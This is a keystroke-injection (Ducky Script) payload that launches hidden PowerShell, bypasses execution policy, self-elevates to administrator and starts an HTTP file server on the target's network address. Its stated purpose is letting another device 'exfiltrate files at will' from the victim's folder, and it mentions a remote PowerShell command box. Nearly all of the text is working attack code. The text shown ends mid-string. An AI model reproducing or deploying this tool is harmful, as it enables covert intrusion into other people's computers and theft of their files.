REM Title: beigeworm's USER folder Host. REM Author: @beigeworm REM Description: This script hosts the User directory to the machines ip address so another device on the network can browse and exfiltrate files at will. REM Features a powershell command input box with output window! REM SETUP INSTRUCTIONS REM Run the script on target system REM (this Script will prompt for admin to enable opening port 8080 on the machine) REM The console window will setup the server and provide a URL. REM Use the given URL in a browser on another device on the same network REM Browse files and download at will. REM (The Root folder will be the folder the script is ran in.) REM some setup for dukie script DEFAULT_DELAY 100 GUI r DELAY 750 STRING powershell -NoP -NonI -W Hidden -Exec Bypass ENTER DELAY 4000 STRING $Host.UI.RawUI.BackgroundColor = "Black";Clear-Host;$width = 88;$height = 30;[Console]::SetWindowSize($width, $height);$windowTitle = "HTTP File Server";[Console]::Title = $windowTitle;Write-Host "================================== Server Setup =======================================" -ForegroundColor Green;Add-Type -AssemblyName PresentationCore,PresentationFramework;Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.Application]::EnableVisualStyles();Write-Host "Checking User Permissions.." -ForegroundColor DarkGray;If(!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')){Write-Host "Admin privileges needed for this script..." -ForegroundColor Red;Write-Host "This script will self elevate to run as an Administrator and continue." -ForegroundColor DarkGray;Write-Host "Sending User Prompt." -ForegroundColor Green;$fpath = $env:HOMEDRIVE;$fpath | Out-File -FilePath "$env:temp/homepath.txt" -Force;sleep 1;Start-Process PowerShell.exe -ArgumentList ("-NoProfile -ExecutionPolicy Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs;exit}else{sleep 1;if (-Not (Test-Path -Path "$env:temp/homepath.txt")){;$fpath = Read-Host "Input the local path for the folder you want to host ";$fpath | Out-File -FilePath "$env:temp/homepath.txt"}}Write-Host "Detecting primary network interface." -ForegroundColor DarkGray;$networkInterfaces = Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'Virtual' };$filteredInterfaces = $networkInterfaces | Where-Object { $_.Name -match 'Wi*' -or $_.Name -match 'Eth*'};$primaryInterface = $filteredInterfaces | Select-Object -First 1;if($primaryInterface){if($primaryInterface.Name -match 'Wi*'){Write-Output "Wi-Fi is the primary internet connection.";$loip = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Wi*" | Select-Object -ExpandProperty IPAddress}elseif($primaryInterface.Name -match 'Eth*'){Write-Output "Ethernet is the primary internet connection.";$loip = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Eth*" | Select-Object -ExpandProperty IPAddress}else{Write-Output "Unknown primary internet connection."}}else{Write-Output "No primary internet connection found."}$hpath = Get-Content -Path "$env:temp/homepath.txt";cd "$hpath";$httpsrvlsnr = New-Object System.Net.HttpListener;$httpsrvlsnr.Prefixes.Add("http://"+$loip+":5000/");$httpsrvlsnr.Prefixes.Add("http://localhost:5000/");$httpsrvlsnr.Start();Write-Host "Setting folder root as : $hpath `n";$webroot = New-PSDrive -Name webroot -PSProvider FileSystem -Root $PWD.Path;[byte[]]$buffer = $null;Write-Host "============================== HTTP SERVER STARTED ================================" -ForegroundColor Green;Write-Host ("Network Devices Can Reach the server at : http://"+$loip+":5000");Write-Host "`n";rm -Path "$env:temp/homepath.txt" -Force;function Format-FileSize{param([long]$Size);$Units = "bytes", "Kb", "Mb", "Gb";$Index = 0;while($Size -ge 1024 -and $Index -lt 4){$Size = $Size / 1024;$Index++}"{0:N2} {1}" -f $Size, $Units[$Index]};Function DisplayWebpage{$html = "

Simple HTTP Server